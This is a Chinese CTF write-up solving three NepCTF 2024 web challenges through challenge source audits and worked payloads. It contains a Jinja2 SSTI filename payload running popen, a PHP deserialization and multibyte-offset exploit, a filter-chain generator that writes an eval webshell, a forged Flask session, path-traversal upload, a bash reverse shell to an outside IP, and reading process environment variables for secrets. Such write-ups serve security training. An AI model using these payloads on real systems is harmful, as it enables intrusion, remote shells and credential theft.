前言
php master,除了php其它都不会(
参考wp:
https://chenxi9981.github.io/NepCTF_2024/
https://natro92.fun/posts/64a8e859
NepDouble(复现)
from flask import Flask, request,render_template,render_template_string
from zipfile import ZipFile
import os
import datetime
import hashlib
from jinja2 import Environment, FileSystemLoader
app = Flask(__name__,template_folder='static')
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024
UPLOAD_FOLDER = '/app/uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
template_env = Environment(loader=FileSystemLoader('static'), autoescape=True)
def render_template(template_name, **context):
template = template_env.get_template(template_name)
return template.render(**context)
def render_template_string(template_string, **context):
template = template_env.from_string(template_string)
return template.render(**context)
@app.route('/', methods=['GET', 'POST'])
def main():
if request.method != "POST":
return 'Please use POST method to upload files.'
try:
clear_uploads_folder()
files = request.files.get('tp_file', None)
if not files:
return 'No file uploaded.'
file_size = len(files.read())
files.seek(0)
file_extension = files.filename.rsplit('.', 1)[-1].lower()
if file_extension != 'zip':
return 'Invalid file type. Please upload a .zip file.'
timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
md5_dir_name = hashlib.md5(timestamp.encode()).hexdigest()
unzip_folder = os.path.join(app.config['UPLOAD_FOLDER'], md5_dir_name)
os.makedirs(unzip_folder, exist_ok=True)
with ZipFile(files) as zip_file:
zip_file.extractall(path=unzip_folder)
files_list = []
for root, dirs, files in os.walk(unzip_folder):
for file in files:
print(file)
file_path = os.path.join(root, file)
relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
link = f'<a href="/cat?file={relative_path}">{file}</a>'
files_list.append(link)
return render_template_string('<br>'.join(files_list))
except ValueError:
return 'Invalid filename.'
except Exception as e:
return 'An error occurred. Please check your file and try again.'
@app.route('/cat')
def cat():
file_path = request.args.get('file')
if not file_path:
return 'File path is missing.'
new_file = os.path.join(app.config['UPLOAD_FOLDER'], file_path)
if os.path.commonprefix([os.path.abspath(new_file), os.path.abspath(app.config['UPLOAD_FOLDER'])]) != os.path.abspath(app.config['UPLOAD_FOLDER']):
return 'Invalid file path.'
if os.path.islink(new_file):
return 'Symbolic links are not allowed.'
try:
filename = file_path.split('/')[-1]
content = read_large_file(new_file)
return render_template('test.html',content=content,filename=filename,dates=Exec_date())
except FileNotFoundError:
return 'File not found.'
except IOError as e:
return f'Error reading file: {str(e)}'
def Exec_date():
d_res = os.popen('date').read()
return d_res.split(" ")[-1].strip()+" "+d_res.split(" ")[-3]
def clear_uploads_folder():
for root, dirs, files in os.walk(app.config['UPLOAD_FOLDER'], topdown=False):
for file in files:
os.remove(os.path.join(root, file))
for dir in dirs:
os.rmdir(os.path.join(root, dir))
def read_large_file(file_path):
content = ''
with open(file_path, 'r') as file:
for line in file:
content += line
return content
if __name__ == '__main__':
app.run('0.0.0.0',port="8000",debug=False)
审一下代码
首先是/
def main():
if request.method != "POST":
return 'Please use POST method to upload files.'
try:
clear_uploads_folder()
files = request.files.get('tp_file', None)
if not files:
return 'No file uploaded.'
file_size = len(files.read())
files.seek(0)
file_extension = files.filename.rsplit('.', 1)[-1].lower()
if file_extension != 'zip':
return 'Invalid file type. Please upload a .zip file.'
timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
md5_dir_name = hashlib.md5(timestamp.encode()).hexdigest()
unzip_folder = os.path.join(app.config['UPLOAD_FOLDER'], md5_dir_name)
os.makedirs(unzip_folder, exist_ok=True)
with ZipFile(files) as zip_file:
zip_file.extractall(path=unzip_folder)
files_list = []
for root, dirs, files in os.walk(unzip_folder):
for file in files:
print(file)
file_path = os.path.join(root, file)
relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
link = f'<a href="/cat?file={relative_path}">{file}</a>'
files_list.append(link)
return render_template_string('<br>'.join(files_list))
except ValueError:
return 'Invalid filename.'
except Exception as e:
return 'An error occurred. Please check your file and try again.'
上传zip并解压的功能,不写前端是吧😡
上传的文件会被解压,然后在 /cat 路由创建一个文件读取的链接
再看一下 /cat
@app.route('/cat')
def cat():
file_path = request.args.get('file')
if not file_path:
return 'File path is missing.'
new_file = os.path.join(app.config['UPLOAD_FOLDER'], file_path)
if os.path.commonprefix([os.path.abspath(new_file), os.path.abspath(app.config['UPLOAD_FOLDER'])]) != os.path.abspath(app.config['UPLOAD_FOLDER']):
return 'Invalid file path.'
if os.path.islink(new_file):
return 'Symbolic links are not allowed.'
try:
filename = file_path.split('/')[-1]
content = read_large_file(new_file)
return render_template('test.html',content=content,filename=filename,dates=Exec_date())
except FileNotFoundError:
return 'File not found.'
except IOError as e:
return f'Error reading file: {str(e)}'
ban了目录穿越和软链接
用重写过的render_template
对读取的内容进行渲染
template_env = Environment(loader=FileSystemLoader('static'), autoescape=True)
def render_template(template_name, **context):
template = template_env.get_template(template_name)
return template.render(**context)
def render_template_string(template_string, **context):
template = template_env.from_string(template_string)
return template.render(**context)
明显不能从文件内容和文件名上进行ssti。。。吗?
仔细看一下这俩的差别,前者是从文件加载模板,后者是动态生成模板内容,也就是说后者可以进行ssti
return render_template_string('<br>'.join(files_list))
要上传的压缩包里面的文件名为我们的payload:
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd ..;cat flag').read()}}.txt
压缩后上传,自己准备个上传表单
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>本地文件上传</title>
</head>
<body>
<form action="https://neptune-21540.nepctf.lemonprefect.cn/" enctype="multipart/form-data" method="post">
<input type="file" name="tp_file">
<input type="submit" value="upload">
</form>
</body>
</html>
这样子解压后回显的就是flag了(图用的晨曦师傅的)
PHP_MASTER!!
非预期抢了个3血
<?php
highlight_file( __FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A{
public $key;
public function readflag(){
if($this->key=== "\0key\0"){
$a = $_POST[1];
$contents = file_get_contents($a);
file_put_contents($a, $contents);
}
}
}
class B
{
public $b;
public function __tostring()
{
if(preg_match("/\[|\]/i", $_GET['nep'])){
die("NONONO!!!");
}
$str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
echo $str;
if ($str==='NepCTF]'){
return ($this->b) ();
}
}
}
class C
{
public $s;
public $str;
public function __construct($s)
{
$this->s = $s;
}
public function __destruct()
{
echo $this ->str;
}
}
$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);
一眼西瓜杯 Ezzz_php 进阶版
第一步,字符串逃逸来使 C 中的 str 属性为我们的序列化字符串,%00
变为00
会增加1位,逃逸";s:3:"str";O:1:"B":1:{s:1:"b";N;}}"
共36位,即重复36遍
payload:
?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";N;}}"
第二步,宽字节注入
每发送一个
%f0abc
,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab
,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa
,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节
nep=Nep&nep1=%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f
第三步,到了return ($this->b) ();
这里
故技重施,先读phpinfo()
?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}"&nep=Nep&nep1=%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f%f0%9f
flag在环境变量里,感觉是非预期了
预期
public function readflag(){
if($this->key=== "\0key\0"){
$a = $_POST[1];
$contents = file_get_contents($a);
file_put_contents($a, $contents);
}
}
最后是readflag函数,调用方式像这样
$b=new B();
$c=new C("1");
$b->b=[new A(),'readflag'];
$c->str=$b;
$ser = serialize($c);
echo $ser;
// O:1:"C":2:{s:1:"s";s:1:"1";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";N;}i:1;s:8:"readflag";}}}
明显只能在 index.php 里面写马,那就是filterchain了
<?php
$base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4"; /*<?php @eval($_REQUEST['cmd']);?>*/
$conversions = array(
'/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=index.php";
echo $final_payload;
于是传入写马
蹦蹦炸弹(boom_it)(复现)
from flask import Flask, render_template, request, session, redirect, url_for
import threading
import random
import string
import datetime
import rsa
from werkzeug.utils import secure_filename
import os
import subprocess
(pubkey, privkey) = rsa.newkeys(2048)
app = Flask(__name__)
app.secret_key = "super_secret_key"
UPLOAD_FOLDER = 'templates/uploads'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'txt'}
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/admin', methods=['GET', 'POST'])
def admin():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username == 'admin' and password == users.get('admin', {}).get('password'):
session['admin_logged_in'] = True
return redirect(url_for('admin_dashboard'))
else:
return "Invalid credentials", 401
return render_template('admin_login.html')
@app.route('/admin/dashboard', methods=['GET', 'POST'])
def admin_dashboard():
if not session.get('admin_logged_in'):
return redirect(url_for('admin'))
if request.method == 'POST':
if 'file' in request.files:
file = request.files['file']
if file.filename == '':
return 'No selected file'
filename = file.filename
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return 'File uploaded successfully'
cmd_output = ""
if 'cmd' in request.args:
if os.path.exists("lock.txt"): # 检查当前目录下是否存在lock.txt
cmd = request.args.get('cmd')
try:
cmd_output = subprocess.check_output(cmd, shell=True).decode('utf-8')
except Exception as e:
cmd_output = str(e)
else:
cmd_output = "lock.txt not found. Command execution not allowed."
return render_template('admin_dashboard.html', users=users, cmd_output=cmd_output, active_tab="cmdExecute")
@app.route('/admin/logout')
def admin_logout():
session.pop('admin_logged_in', None)
return redirect(url_for('index'))
# Generate random users
def generate_random_users(n):
users = {}
for _ in range(n):
username = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
users[username] = {"password": password, "balance": 2000}
return users
users = generate_random_users(1000)
users["HRP"] = {"password": "HRP", "balance": 6000}
# Add an admin user with a random password
admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
users["admin"] = {"password": admin_password, "balance": 0}
flag_price = 10000
flag = admin_password # The flag is the password of the admin user
mutex = threading.Lock()
@app.route('/')
def index():
if "username" in session:
return render_template("index.html", logged_in=True, username=session["username"], balance=users[session["username"]]["balance"])
return render_template("index.html", logged_in=False)
@app.route('/reset', methods=['GET'])
def reset():
global users
users = {} # Clear all existing users
users = generate_random_users(1000)
users["HRP"] = {"password": "HRP", "balance": 6000}
global admin_password
admin_password={}
global flag
# Add an admin user with a random password
admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
flag=admin_password
users["admin"] = {"password": admin_password, "balance": 0}
return redirect(url_for('index'))
@app.route('/login', methods=["POST"])
def login():
username = request.form.get("username")
password = request.form.get("password")
if username in users and users[username]["password"] == password:
session["username"] = username
return redirect(url_for('index'))
return "Invalid credentials", 403
@app.route('/logout')
def logout():
session.pop("username", None)
return redirect(url_for('index'))
def log_transfer(sender, receiver, amount):
def encrypt_data_with_rsa(data, pubkey):
for _ in range(200): # Encrypt the data multiple times
encrypted_data = rsa.encrypt(data.encode(), pubkey)
return encrypted_data.hex()
timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')
# Encrypt the amount and timestamp
encrypted_amount = encrypt_data_with_rsa(str(amount), pubkey)
encrypted_timestamp = encrypt_data_with_rsa(timestamp, pubkey)
log_data = f"{encrypted_timestamp} - Transfer from {sender} to {receiver} of encrypted amount {encrypted_amount}\n"
for _ in range(1):
log_data += f"Transaction initiated from device: {random.choice(['Mobile', 'Web', 'ATM', 'In-Branch Terminal'])}\n"
log_data += f"Initiator IP address: {random.choice(['192.168.1.', '10.0.0.', '172.16.0.'])}{random.randint(1, 254)}\n"
log_data += f"Initiator geolocation: Latitude {random.uniform(-90, 90):.6f}, Longitude {random.uniform(-180, 180):.6f}\n"
log_data += f"Receiver's last login device: {random.choice(['Mobile', 'Web', 'ATM'])}\n"
log_data += f"Associated fees: ${random.uniform(0.1, 3.0):.2f}\n"
log_data += f"Remarks: {random.choice(['Regular transfer', 'Payment for invoice #'+str(random.randint(1000,9999)), 'Refund for transaction #'+str(random.randint(1000,9999))])}\n"
log_data += "-"*50 + "\n"
with open('transfer_log.txt', 'a') as f:
f.write(log_data)
@app.route('/transfer', methods=["POST"])
def transfer():
if "username" not in session:
return "Not logged in", 403
receivers = request.form.getlist("receiver")
amount = int(request.form.get("amount"))
if amount <0:
return "Insufficient funds", 400
logging_enabled = request.form.get("logs", "false").lower() == "true"
if session["username"] in receivers:
return "Cannot transfer to self", 400
for receiver in receivers:
if receiver not in users:
return f"Invalid user {receiver}", 400
total_amount = amount * len(receivers)
if users[session["username"]]["balance"] >= total_amount:
for receiver in receivers:
if logging_enabled:
log_transfer(session["username"], receiver, amount)
mutex.acquire()
users[session["username"]]["balance"] -= amount
users[receiver]["balance"] += amount
mutex.release()
return redirect(url_for('index'))
return "Insufficient funds", 400
@app.route('/buy_flag')
def buy_flag():
if "username" not in session:
return "Not logged in", 403
if users[session["username"]]["balance"] >= flag_price:
users[session["username"]]["balance"] -= flag_price
return f"Here is your flag: {flag}"
return "Insufficient funds", 400
@app.route('/get_users', methods=["GET"])
def get_users():
num = int(request.args.get('num', 1000))
selected_users = random.sample(list(users.keys()), num)
return {"users": selected_users}
@app.route('/view_balance/<username>', methods=["GET"])
def view_balance(username):
if username in users:
return {"username": username, "balance": users[username]["balance"]}
return "User not found", 404
@app.route('/force_buy_flag', methods=["POST"])
def force_buy_flag():
if "username" not in session or session["username"] != "HRP":
return "Permission denied", 403
target_user = request.form.get("target_user")
if target_user not in users:
return "User not found", 404
if users[target_user]["balance"] >= flag_price:
users[target_user]["balance"] -= flag_price
return f"User {target_user} successfully bought the flag!,"+f"Here is your flag: {flag}"
return f"User {target_user} does not have sufficient funds", 400
if __name__ == "__main__":
app.run(host='0.0.0.0',debug=False)
代码很长,一步一步边分析功能边审计
先是登录路由 /login
@app.route('/login', methods=["POST"])
def login():
username = request.form.get("username")
password = request.form.get("password")
if username in users and users[username]["password"] == password:
session["username"] = username
return redirect(url_for('index'))
return "Invalid credentials", 403
需要找个账户和密码
# Generate random users
def generate_random_users(n):
users = {}
for _ in range(n):
username = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
users[username] = {"password": password, "balance": 2000}
return users
users = generate_random_users(1000)
users["HRP"] = {"password": "HRP", "balance": 6000}
# Add an admin user with a random password
admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
users["admin"] = {"password": admin_password, "balance": 0}
flag_price = 10000
flag = admin_password # The flag is the password of the admin user
/*...*/
@app.route('/reset', methods=['GET'])
def reset():
global users
users = {} # Clear all existing users
users = generate_random_users(1000)
users["HRP"] = {"password": "HRP", "balance": 6000}
global admin_password
admin_password={}
global flag
# Add an admin user with a random password
admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
flag=admin_password
users["admin"] = {"password": admin_password, "balance": 0}
return redirect(url_for('index'))
这里拿到账密HRP:HRP
,HRP用户有6000块,admin没有钱,其它用户每人有2000块,同时得知 flag 要10000块,而且是 admin 的password
登录进去,接下来有下面这些功能
@app.route('/transfer', methods=["POST"])
def transfer():
if "username" not in session:
return "Not logged in", 403
receivers = request.form.getlist("receiver")
amount = int(request.form.get("amount"))
if amount <0:
return "Insufficient funds", 400
logging_enabled = request.form.get("logs", "false").lower() == "true"
if session["username"] in receivers:
return "Cannot transfer to self", 400
for receiver in receivers:
if receiver not in users:
return f"Invalid user {receiver}", 400
total_amount = amount * len(receivers)
if users[session["username"]]["balance"] >= total_amount:
for receiver in receivers:
if logging_enabled:
log_transfer(session["username"], receiver, amount)
mutex.acquire()
users[session["username"]]["balance"] -= amount
users[receiver]["balance"] += amount
mutex.release()
return redirect(url_for('index'))
return "Insufficient funds", 400
提供了转账功能
@app.route('/view_balance/<username>', methods=["GET"])
def view_balance(username):
if username in users:
return {"username": username, "balance": users[username]["balance"]}
return "User not found", 404
可以看到对应用户的余额
@app.route('/force_buy_flag', methods=["POST"])
def force_buy_flag():
if "username" not in session or session["username"] != "HRP":
return "Permission denied", 403
target_user = request.form.get("target_user")
if target_user not in users:
return "User not found", 404
if users[target_user]["balance"] >= flag_price:
users[target_user]["balance"] -= flag_price
return f"User {target_user} successfully bought the flag!,"+f"Here is your flag: {flag}"
return f"User {target_user} does not have sufficient funds", 400
可以强制某个用户购买flag
@app.route('/buy_flag')
def buy_flag():
if "username" not in session:
return "Not logged in", 403
if users[session["username"]]["balance"] >= flag_price:
users[session["username"]]["balance"] -= flag_price
return f"Here is your flag: {flag}"
return "Insufficient funds", 400
自己买flag,明显钱不够
看一下/admin后台
@app.route('/admin', methods=['GET', 'POST'])
def admin():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username == 'admin' and password == users.get('admin', {}).get('password'):
session['admin_logged_in'] = True
return redirect(url_for('admin_dashboard'))
else:
return "Invalid credentials", 401
return render_template('admin_login.html')
@app.route('/admin/dashboard', methods=['GET', 'POST'])
def admin_dashboard():
if not session.get('admin_logged_in'):
return redirect(url_for('admin'))
if request.method == 'POST':
if 'file' in request.files:
file = request.files['file']
if file.filename == '':
return 'No selected file'
filename = file.filename
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return 'File uploaded successfully'
cmd_output = ""
if 'cmd' in request.args:
if os.path.exists("lock.txt"): # 检查当前目录下是否存在lock.txt
cmd = request.args.get('cmd')
try:
cmd_output = subprocess.check_output(cmd, shell=True).decode('utf-8')
except Exception as e:
cmd_output = str(e)
else:
cmd_output = "lock.txt not found. Command execution not allowed."
return render_template('admin_dashboard.html', users=users, cmd_output=cmd_output, active_tab="cmdExecute")
需要 session 里的 admin_logged_in 为 True
可以直接伪造 session 登录 admin 后台
eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW5fbG9nZ2VkX2luIjp0cnVlfQ.Zsmizw.c7Mw-jnRnROmAaqnFf1CJkdqcys
进到后台dashboard,有三个功能
命令执行需要在目录下有 lock.txt 才能使用
文件上传
UPLOAD_FOLDER = 'templates/uploads'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'txt'}
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
/*...*/
if request.method == 'POST':
if 'file' in request.files:
file = request.files['file']
if file.filename == '':
return 'No selected file'
filename = file.filename
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return 'File uploaded successfully'
上传的文件保存在了templates/uploads
下,没做路径穿越的过滤
直接上传目录穿越
然后就能命令执行,嗯很好果然没权限读flag
看一下用户列表
既然有账密我们就可以登录这些用户然后直接转账给HRP买flag
拿到admin的密码:aJc2W3HMWvwoEd9
貌似没啥用
弹个shell先
bash -c 'bash -i >& /dev/tcp/115.236.153.177/30908 <&1'
python起终端
python3 -c 'import pty; pty.spawn("/bin/bash")'
然后一波尝试find提权操作之后靶机崩了,测试了一下发现不能遍历 /sys 目录
注意到这里有个pwn文件,dump下来看看
start.sh的内容是执行pwn文件
ps -ef
一下
root 1 0 0 14:28 ? 00:00:00 /bin/sh -c service xinetd start &&su root -c "/flag.sh" && su ctfuser -c "python3 app.py"
root 20 1 0 14:28 ? 00:00:00 su ctfuser -c python3 app.py
ctfuser 21 20 0 14:28 ? 00:00:00 sh -c python3 app.py
ctfuser 22 21 2 14:28 ? 00:00:05 python3 app.py
root 24 1 0 14:28 ? 00:00:00 /usr/sbin/xinetd -pidfile /run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6
ctfuser 27 22 0 14:29 ? 00:00:00 /bin/sh -c GZCTF_FLAG=0 && 我们的命令
想半天传了个fscan扫127.0.0.1,发现开着8888端口,xinetd.d
是常见的起 pwnserver 指令
非预期
cat /proc/22/environ
直接读起web服务的那个pid的环境变量,这里是22
